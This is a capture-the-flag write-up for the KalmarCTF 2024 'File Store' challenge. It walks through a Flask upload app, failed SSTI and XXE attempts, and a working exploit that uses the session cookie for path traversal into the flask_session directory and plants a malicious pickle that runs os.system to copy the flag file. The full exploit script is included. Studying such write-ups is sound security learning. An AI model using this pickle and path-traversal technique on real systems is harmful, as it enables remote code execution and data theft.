---
# System prepended metadata

title: KalmarCTF File Store

---

# KalmarCTF 2024 File Store

Writeup by [r2uwu2](https://github.com/r2dev2)

> Upload your files on the Kalmar File Store and share them with your friends.

[toc]

## Challenge

We are given a relatively simple flask application.

We can upload an image by clicking `Upload Image`.

![upload](https://hackmd.io/_uploads/SkmPv9XRp.png)

We can then view the image by clicking on the image.




```python=
import os

from flask import Flask, redirect, render_template, request, session
from flask_session import Session

SESSION_TYPE = "filesystem"
MAX_CONTENT_LENGTH = 1024 * 1024

app = Flask(__name__)
app.config.from_object(__name__)
Session(app)


@app.route("/", methods=["GET", "POST"])
def index():
    path = f"static/uploads/{session.sid}"
    if request.method == "POST":
        f = request.files["file"]
        if ".." in f.filename:
            return "bad", 400
        os.makedirs(path, exist_ok=True)
        f.save(path + "/" + f.filename)
        if not session.get("files"):
            session["files"] = []
        session["files"].append(f.filename)
        return redirect("/")
    return render_template("index.html", path=path, files=session.get("files", []))


if __name__ == "__main__":
    app.run(host="0.0.0.0")
```

In this application, we have one endpoint to see all the files in our session and another endpoint to upload files to our session. Our flag is in `/flag.txt` and we must exfiltrate it.

## Attempt 1: Failed SSTI RCE

The session id is the value of the `session` cookie in flask. It is well-known that in frameworks like flask, if we can write to the `templates` directory, we can perform a [Server-Side Template Injection (SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) and achieve arbitrary code execution. I crafted a payload to send, but was met with an error:

![ssti error](https://hackmd.io/_uploads/rkV5LcQ0a.png)

Unfortunately, we are not able to craft a malicious template because our user does not have the permissions to do so.

```dockerfile=
FROM python:3.11-slim

RUN python3 -m pip install flask flask-session gunicorn

RUN useradd ctf

COPY flag.txt /flag.txt

WORKDIR /app
COPY app.py .
COPY templates/ templates/
COPY static/style.css static/

RUN mkdir -p static/uploads flask_session
RUN chmod 777 static/uploads flask_session

USER ctf

CMD gunicorn --bind :5000 app:app
```

As declared in the `Dockerfile`, we run as the `ctf` user who only has write access to `static/uploads` and `flask_session` directories. `static/uploads` is where the images are uploaded and `flask_session` contains session information.

## Attempt 2: Failed LFI via XXE

Since I am able to upload to `static/uploads`, I tried uploading an xml file to perform a [local file inclusion via XXE](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection). The first example in the link is a test for whether the server is vulnerable to XXE.

```xml!
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
```

If the server is vulnerable to an XXE, `&example` will be substituted with the `ENTITY` definition. This would indicate that we have the ability to read a file as we can set an entity to a file we want to read.

However, we get this reponse back:
![john doe](https://hackmd.io/_uploads/Hy7F_qmRa.png)

Unfortunately for us, flask's xml handling does not expand out `ENTITY` so we will not be able to LFI.

## Attempt 3: RCE via Session Overwriting

Other than `static/uploads`, we can overwrite all the `flask_session/*` session objects. I ran a bash shell in the docker to experiment around.

![flask session](https://hackmd.io/_uploads/B1EFtcQAT.png)

Looking around in the directory, we have a file for each session. The file name does not match the session id. Each session seems to be some form of serialized object. I decided to look at `flask-session` source code.

The filesystem session seems to use [cachelib library](https://github.com/pallets-eco/cachelib) as indicated by [below code](https://github.com/pallets-eco/flask-session/blob/41e2771055e1e533da6cdb84efea68751d0fe618/src/flask_session/sessions.py#L359):

```python=357
from cachelib.file import FileSystemCache

self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
```

Looking into [cachelib code](https://github.com/pallets-eco/cachelib/blob/18bb52cc29a07f7f0d7992d682d769f3497851b4/src/cachelib/file.py#L203), the cache is fairly suspicious:

```python=203
def get(self, key: str) -> _t.Any:
    filename = self._get_filename(key)
    try:
        with self._safe_stream_open(filename, "rb") as f:
            pickle_time = struct.unpack("I", f.read(4))[0]
            if pickle_time == 0 or pickle_time >= time():
                return self.serializer.load(f)
    except FileNotFoundError:
        pass
    except (OSError, EOFError, struct.error):
        logging.warning(
            "Exception raised while handling cache file '%s'",
            filename,
            exc_info=True,
        )
    return None
 ```
 
 It seems like if we set the first 4 bytes of the filename to `0`, it decides it's pickle time and unpickles the pickle (one can see explicit pickle calls in other files).
 
 If we snoop around the `cachelib` codebase, we can see that the filename is generated by `md5` hashing the key name. We can now overwrite arbitrary sessions.
 
 ## Exploit (It's so Pickling Time)
 
 It's pickling time woo.
 
 Our overall flow looks like:
 
 1. Create a session `owo` by uploading a picture (let's make it a picture of [alex](https://github.com/bkrl) typing for extra hacking powers)
 2. Set our session to `../../flask_session` and upload a pickle with file name `md5("owo")` - the pickle copies `/flag.txt` to `/app/static/uploads` so we can read it later
 3. Send a request using session `owo` to load our malicious pickle
 4. Send a `GET /static/uploads/flag.txt` request and acquire the flag
 
The flag has now been captured

![flag](https://hackmd.io/_uploads/B16sn9mRp.png)

```python=
import pickle
import requests
import io
import os

# sess = "Jfa72ikLQaW41AoNhhkCZvw1pVklvyLkch33oXo4Tz8"
# base_url = "http://0.0.0.0:5000/"
base_url = "https://0d268116a5f57f10e5aa63f3d1e31e82-46847.filestore.chal-kalmarc.tf/"
url = lambda end: f"{base_url.rstrip('/')}{end}"

sess = "owo"
dummy = "alextype.png"
sess_hash = "938b5b91ebed323d56c80104a075b57e"

s = requests.Session()
s.cookies["session"] = sess

with open("/home/rbadhe/Pictures/alextype.png", "rb") as fin:
    r = s.get(url("/"), files={"file": fin})
    print("Uploading image")
    print(r)
    print(r.text)


# shell pickle time
class Sh:
    def __reduce__(self):
        return (os.system, ("cp /flag* /app/static/uploads/flag.txt",))

s.cookies["session"] = f"../../flask_session"
with open(sess_hash, "wb+") as fout:
    # need leading 4 bytes of 0 to tell flask-session that this is a pickle
    fout.write(bytes([0] * 4))
    pickle.dump(Sh(), fout)

with open(sess_hash, "rb") as fin:
    r = s.post(url("/"), files={"file": fin})
    print("Uploading pickle")
    print(r)
    print(r.text)

s.cookies["session"] = sess
r = s.get(url("/"))
print("Triggering pickle", r)

r = s.get(url("/static/uploads/flag.txt"))
print(r)
print(r.text)
```